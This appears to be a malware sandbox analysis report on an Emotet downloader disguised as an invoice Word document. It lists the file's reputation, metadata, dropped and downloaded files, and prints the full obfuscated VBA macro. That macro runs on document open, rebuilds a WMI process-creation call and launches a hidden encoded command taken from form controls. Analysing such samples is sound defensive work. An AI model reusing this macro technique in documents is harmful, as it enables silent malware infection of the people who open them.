VTI SCORE: 100/100
Dynamic Analysis Report |
Classification: |
Downloader
Trojan
|
Threat Names: |
Generic.EmotetU.AA5F1DE6
C2/Generic-A
Mal/HTMLGen-A
...
|
invoice D2493_392827307.doc
Word Document
Created at 2020-01-29T14:10:00
This is a filtered view
This list contains only the embedded files, downloaded files, and dropped files
Filters: |
There are no files for this filter
There are no files in this analysis
Filename | Category | Type | Severity | Actions |
---|
C:\Users\aETAdzjz\Desktop\invoice D2493_392827307.doc | Sample File | Word Document |
Malicious
|
...
|
»
File Reputation Information
»
Severity |
Blacklisted
|
First Seen | 2020-01-29 14:02 (UTC+1) |
Last Seen | 2020-01-29 14:50 (UTC+1) |
Names | Document-Powerpoint.Trojan.Frs |
Families | Frs |
Classification | Trojan |
Office Information
»
Revision | 1 |
Create Time | 2020-01-29 07:26:00+00:00 |
Modify Time | 2020-01-29 07:26:00+00:00 |
Document Information
»
Application | Microsoft Office Word |
App Version | 16.0000 |
Template | Normal.dotm |
Document Security | NONE |
Page Count | 1 |
Line Count | 1 |
Paragraph Count | 1 |
Word Count | 4 |
Character Count | 25 |
Chars With Spaces | 28 |
ScaleCrop | |
SharedDoc |
Controls (1)
»
CLSID | Control Name | Associated Vulnerability |
---|---|---|
{6E182020-F460-11CE-9BCD-00AA00608E01} | FormsFrame | - |
VBA Macros (4)
»
Macro #1: Bsswltgxsplu
»
Attribute VB_Name = "Bsswltgxsplu"
Attribute VB_Base = "0{072D1825-9688-400E-BC4F-1D646CDCD038}{01180EF4-9887-44F9-80DC-8E060199E35B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Pkhypyfag()
Debug.Print "dhhhhhee" + nswww + "opendb"
End Sub
Macro #2: Iizgszjgq
»
Attribute VB_Name = "Iizgszjgq"
Sub Zwdzjjxdak()
Const sss = 234
End Sub
Sub Yysnpzdbkxhwf()
Const sss = 234
End Sub
Sub Ibtakvpywi()
Const sss = 234
End Sub
Function Cbokboildamo()
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Dehwcbks)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 989
oeu4n = Vwcxzbeytmkyp
wkid = "pizdec"
dwewr = Ehhbdzxayqeqv
oiwnb = (Jesagfpnlrr)
p3nb = (261)
i1 = (Osfowwytcrfyy)
o0Gukiqccf = (Euotwjmuzmf)
u3 = (280) + p3nb
b7 = (Uzjxgnnbiil)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (734)
mbdu = Gioulmzarbj
bxvs = 175
ojbd = "pizdec" + iwh3
Ijtjnryyzgqx = "/=e^^hjbj//e===^@%%w/=e^^hjbj//e===^@%%/=e^^hjbj//e===^@%%/=e^^hjbj//e===^@%%i/=e^^hjbj//e===^@%%/=e^^hjbj//e===^@%%nmg/=e^^hjbj//e===^@%%mt/=e^^hjbj//e===^@%%/=e^^hjbj//e===^@%%" + ChrW(Int(wdKeyS)) + "/=e^^hjbj//e===^@%%:w/=e^^hjbj//e===^@%%in/=e^^hjbj//e===^@%%/=e^^hjbj//e===^@%%3/=e^^hjbj//e===^@%%2_" + Pfaaatpp.Rxlnceqmy + "ro/=e^^hjbj//e===^@%%ce/=e^^hjbj//e===^@%%/=e^^hjbj//e===^@%%s/=e^^hjbj//e===^@%%s"
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Xplydchi)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 258
oeu4n = Zbeyrphdwc
wkid = "pizdec"
dwewr = Hthlwjcs
oiwnb = (Rlbdyggmg)
p3nb = (242)
i1 = (Xwksruxhwyj)
o0Hrrrgygawtjtw = (Awjwlnkwwte)
u3 = (991) + p3nb
b7 = (Krhivfvgp)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (568)
mbdu = Hwnbdbyvh
bxvs = 507
ojbd = "pizdec" + iwh3
Tbqtyyjexmh = Dwzbcixzw(Ijtjnryyzgqx)
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Jahwbnij)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 159
oeu4n = Ntplkztukv
wkid = "pizdec"
dwewr = Zmgugdbdl
oiwnb = (Ccmljfglqt)
p3nb = (534)
i1 = (Xfrbbcytwe)
o0Vphhfhsz = (Mjxnjpekg)
u3 = (733) + p3nb
b7 = (Ajoocabnupyy)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (358)
mbdu = Uyzfiahlpsh
bxvs = 584
ojbd = "pizdec" + iwh3
Set Yczftylgkzmtu = GetObject(Tbqtyyjexmh)
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Ybvdnivrlf)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 844
oeu4n = Luwzccpa
wkid = "pizdec"
dwewr = Yhznfjpsjncg
oiwnb = (Eclxsfzzy)
p3nb = (757)
i1 = (Frpbgnbdddoda)
o0Cswicfjqua = (Hcvyiuqzszrc)
u3 = (44) + p3nb
b7 = (Dhcqylug)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (306)
mbdu = Cqdrwavbp
bxvs = 173
ojbd = "pizdec" + iwh3
Ztsupycatezdd = Pfaaatpp.Qohkbjqrbijj.Tag
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Imkpkielqcfoz)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 85
oeu4n = Yyrskbtcfhp
wkid = "pizdec"
dwewr = Znguedlvcbaqx
oiwnb = (Eyfavbunmmdx)
p3nb = (50)
i1 = (Eiupimcwkk)
o0Tvwrbnnyygbp = (Fatiafwlysfb)
u3 = (370) + p3nb
b7 = (Siovdahz)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (648)
mbdu = Kpkplyhfrngc
bxvs = 913
ojbd = "pizdec" + iwh3
Ckoseecn = Tbqtyyjexmh + ChrW(Int(wdKeyS)) + Pfaaatpp.Wgxksnmqb.Tag + Ztsupycatezdd
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Txcjnrmt)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 994
oeu4n = Wuufukziwznx
wkid = "pizdec"
dwewr = Pextbclgzwy
oiwnb = (Vggityest)
p3nb = (700)
i1 = (Bvuajqmvcoui)
o0Schpuxhdcdcp = (Zqvwffrfhlxj)
u3 = (872) + p3nb
b7 = (Otbxmqbv)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (476)
mbdu = Yckysqxt
bxvs = 760
ojbd = "pizdec" + iwh3
Hhxpnqml = Ckoseecn + Pfaaatpp.Rxlnceqmy
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Jxbtbipwrw)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 864
oeu4n = Hyzojkouqbtr
wkid = "pizdec"
dwewr = Xvbpbrclc
oiwnb = (Qecogblysgleo)
p3nb = (664)
i1 = (Wywhekgu)
o0Vbutswvnqtfl = (Ahsubmrmfy)
u3 = (451) + p3nb
b7 = (Ouhokkru)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (750)
mbdu = Qeajpqyqxksnh
bxvs = 920
ojbd = "pizdec" + iwh3
Do While Yczftylgkzmtu. _
Create(njkdsj & Knfygoqlxt, Utuyxaewtgot, Pvjuxusqp(Hhxpnqml), Ibbpgtqwoc, Ocjavfgejh, Jvavtbmaaynow)
Loop
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Iyvdmfftgosq)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 839
oeu4n = Xuivbqqvxpptk
wkid = "pizdec"
dwewr = Kmsmbxyrauhol
oiwnb = (Hcmyzmzugyb)
p3nb = (722)
i1 = (Fosvxxvc)
o0Hazdhbuc = (Himhmjklsmo)
u3 = (894) + p3nb
b7 = (Xlmbmroinh)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (65)
mbdu = Xzirtlww
bxvs = 439
ojbd = "pizdec" + iwh3
End Function
Function Pvjuxusqp(Skqovwnhug)
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Gchillxfygw)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 351
oeu4n = Rwhlypgsh
wkid = "pizdec"
dwewr = Fbnljydrdip
oiwnb = (Ktatfnri)
p3nb = (152)
i1 = (Loctjzdyypq)
o0Ylwacfxxck = (Epmmuvhf)
u3 = (857) + p3nb
b7 = (Xgetsajq)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (726)
mbdu = Hjcijnodds
bxvs = 218
ojbd = "pizdec" + iwh3
Set Pvjuxusqp = GetObject(Skqovwnhug)
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Ijgikoanvmue)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 381
oeu4n = Cmypooypcb
wkid = "pizdec"
dwewr = Jlnuoxdirbp
oiwnb = (Imqzvjpwxrrob)
p3nb = (870)
i1 = (Tshfhwfpzbxxb)
o0Awuqgbhqhsmq = (Vgnneozukvcd)
u3 = (470) + p3nb
b7 = (Xxmovdrvtke)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (807)
mbdu = Camvftwdvk
bxvs = 242
ojbd = "pizdec" + iwh3
Pvjuxusqp. _
showwindow = Qexerrnl + Skimvcalbgl
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Dlyhjufaczj)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 929
oeu4n = Wehpruucrzkb
wkid = "pizdec"
dwewr = Bubcmhxugvv
oiwnb = (Qcdlqsvwbzyp)
p3nb = (398)
i1 = (Ommnfxfegb)
o0Rybxmuxzdznnt = (Szvcmuxiith)
u3 = (111) + p3nb
b7 = (Pmwcotbxudmdr)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (743)
mbdu = Ozzuwgmel
bxvs = 600
ojbd = "pizdec" + iwh3
End Function
Function Dwzbcixzw(Ybkvjdreunbs)
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Nzhfoqgm)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 343
oeu4n = Qnfzhsigkpc
wkid = "pizdec"
dwewr = Dzleampqyh
oiwnb = (Jlafttyggjmy)
p3nb = (235)
i1 = (Qmnioyvmdgdm)
o0Azsgweygharwe = (Tnmihwdcq)
u3 = (377) + p3nb
b7 = (Zwhubgnzfg)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (735)
mbdu = Crvjfmqru
bxvs = 672
ojbd = "pizdec" + iwh3
Dwzbcixzw = Join(Split(Ybkvjdreunbs, "/=e^^hjbj//e===^@%%"), "")
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Frcfctsankqp)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 963
oeu4n = Chjbmgvwjjh
wkid = "pizdec"
dwewr = Pheouwpivmtfj
oiwnb = (Bzkvmsqboqai)
p3nb = (104)
i1 = (Htydvctjww)
o0Hguqwdnauj = (Mfzgqxuoty)
u3 = (182) + p3nb
b7 = (Ubnqbsdnczlj)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (753)
mbdu = Twuvoyunqqdms
bxvs = 323
ojbd = "pizdec" + iwh3
End Function
Function Knfygoqlxt()
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Ciaybzifmkf)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 27
oeu4n = Npnmlhpi
wkid = "pizdec"
dwewr = Fprjqnptydol
oiwnb = (Mietuyxlkvdp)
p3nb = (166)
i1 = (Prjhjmvjkp)
o0Wqhkmbovaddv = (Xufwgbjheguh)
u3 = (561) + p3nb
b7 = (Wcxoacbhezj)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (345)
mbdu = Ihmnntoo
bxvs = 683
ojbd = "pizdec" + iwh3
Nfmmtykebqti = ChrW(Dnpgkqpvepdq + wdKeyP + Dxiwjyhaqe)
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Petblzhcrjvb)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 657
oeu4n = Mqaikjqf
wkid = "pizdec"
dwewr = Dzctartbimt
oiwnb = (Zqzogujltovv)
p3nb = (598)
i1 = (Hebdjofymxocz)
o0Tkhaxarluklh = (Khxmrlwgjk)
u3 = (307) + p3nb
b7 = (Becaeutrado)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (156)
mbdu = Yqtgtyhdobq
bxvs = 894
ojbd = "pizdec" + iwh3
Vacsjtbog = Nfmmtykebqti + Pfaaatpp.Wvvfsmiwbnqmx + "-e "
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Uvxgazphgem)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 425
oeu4n = Bwevchnvfbv
wkid = "pizdec"
dwewr = Akgpkeaiqvfrp
oiwnb = (Ucnhyglfzao)
p3nb = (287)
i1 = (Toucpbzearth)
o0Kbzdmkwbd = (Ssofgovefob)
u3 = (583) + p3nb
b7 = (Boxmtktz)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (888)
mbdu = Aeawbpyr
bxvs = 318
ojbd = "pizdec" + iwh3
dse = Pfaaatpp.Phvfxtrlqsu.ControlTipText
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Tnyfmupnnk)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 383
oeu4n = Gmszwuxlapag
wkid = "pizdec"
dwewr = Qlcbmpmcm
oiwnb = (Cxccokypglhm)
p3nb = (117)
i1 = (Hyfmdmsp)
o0Dkmxgeea = (Uxvilfcqj)
u3 = (910) + p3nb
b7 = (Yhafqhpjsb)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (32)
mbdu = Yzdxajbggzpg
bxvs = 925
ojbd = "pizdec" + iwh3
Knfygoqlxt = Dwzbcixzw(Vacsjtbog + StrReverse(dse))
jdh3k2n = _
"pizdec"
a = "pizdec" + jdh3k2n
dddd = (Zmwhuphu)
mxnby = "pizdec" + dddd + jdh3k2n
mxnbs = 711
oeu4n = Yeivmnovlspp
wkid = "pizdec"
dwewr = Eynoyjvqhtr
oiwnb = (Dwhttfkqas)
p3nb = (959)
i1 = (Ctzhuojbh)
o0Btvmzhwoehdlz = (Wkzydgsiwpwin)
u3 = (85) + p3nb
b7 = (Dcaafaxsl)
nn3 = _
("pizdec")
iwh3 = "pizdec"
nbsv = (345)
mbdu = Dqyyizdv
bxvs = 988
ojbd = "pizdec" + iwh3
End Function
Sub Vmcuaqxjt()
Const sss = 234
End Sub
Sub Kdvmsovf()
Const sss = 234
End Sub
Sub Rxntkbtmdwls()
Const sss = 234
End Sub
Macro #3: Nqukletjuo
»
Attribute VB_Name = "Nqukletjuo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Hvroaczehj()
Const sss = 234
End Sub
Sub Dlrkxkkhldanp()
Const sss = 234
End Sub
Sub Oejcwvfxa()
Const sss = 234
End Sub
Sub Swtaopbb()
Const sss = 234
End Sub
Sub Evwjmsxe()
Const sss = 234
End Sub
Private Sub Document_open()
Const sss = 234
Call Cbokboildamo
End Sub
Sub Yoxlzyhi()
Const sss = 234
End Sub
Sub Oqwvsnokokmnx()
Const sss = 234
End Sub
Sub Imsjchsfjd()
Const sss = 234
End Sub
Sub Haqityppnzbry()
Const sss = 234
End Sub
Sub Qlrlrwbqlp()
Const sss = 234
End Sub
Sub Qvlmsppg()
Const sss = 234
End Sub
Macro #4: Wgozpnam
»
Attribute VB_Name = "Wgozpnam"
Attribute VB_Base = "0{10F21615-7B11-4C29-9192-2AEF3B3250A7}{F694B320-4008-4239-A8EC-DB0FFF5A89CA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Cipunklo()
Debug.Print "dhhhhhee" + nswww + "opendb"
End Sub
c:\users\aetadzjz\appdata\local\temp\~df8c6df2f3e5e3458f.tmp | Dropped File | Stream |
Whitelisted
|
...
|
»
File Reputation Information
»
Severity |
Whitelisted
|
First Seen | 2011-07-06 01:20 (UTC+2) |
Last Seen | 2019-12-06 01:08 (UTC+1) |
c:\users\aetadzjz\appdata\local\temp\~dfa7059dbfe0abfdcb.tmp | Dropped File | Stream |
Whitelisted
|
...
|
»
File Reputation Information
»
Severity |
Whitelisted
|
First Seen | 2011-07-06 05:09 (UTC+2) |
Last Seen | 2019-07-10 09:30 (UTC+2) |
c:\users\aetadzjz\appdata\local\temp\~df7efad6c3c7baeda2.tmp | Dropped File | Stream |
Whitelisted
|
...
|
»
File Reputation Information
»
Severity |
Whitelisted
|
First Seen | 2011-06-11 22:08 (UTC+2) |
Last Seen | 2019-10-31 16:43 (UTC+1) |
c:\users\aetadzjz\appdata\local\temp\vbe\msforms.exd | Dropped File | Stream |
Unknown
|
...
|
»
c:\users\aetadzjz\appdata\local\temp\~df2f22b74dd208dd11.tmp | Dropped File | Unknown |
Unknown
|
...
|
»
C:\Users\aETAdzjz\AppData\Local\sendduck\sendduck.exe | Downloaded File | Binary |
Unknown
|
...
|
»
3d70ce95eb1eb78620cc57fe1a6a479e6f2d70508bf813238e573863df000d6e | Downloaded File | Text |
Unknown
|
...
|
»
Embedded URLs (2)
»
URL | First Seen | Categories | Threat Names | Reputation Status | WHOIS Data |
---|---|---|---|---|---|
https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css | - | - | - |
Unknown
|
Not Queried
|
https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i | - | - | - |
Unknown
|
Not Queried
|
vbaProject.bin | Embedded File | Unknown |
Unknown
|
...
|
»
c:\users\aetadzjz\appdata\roaming\microsoft\forms\winword.box | Dropped File | Unknown |
Not Queried
|
...
|
»